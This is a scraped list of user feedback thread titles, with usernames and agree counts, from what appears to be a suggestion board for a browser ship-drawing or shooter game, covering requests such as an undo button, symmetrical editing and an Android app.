  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Vote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree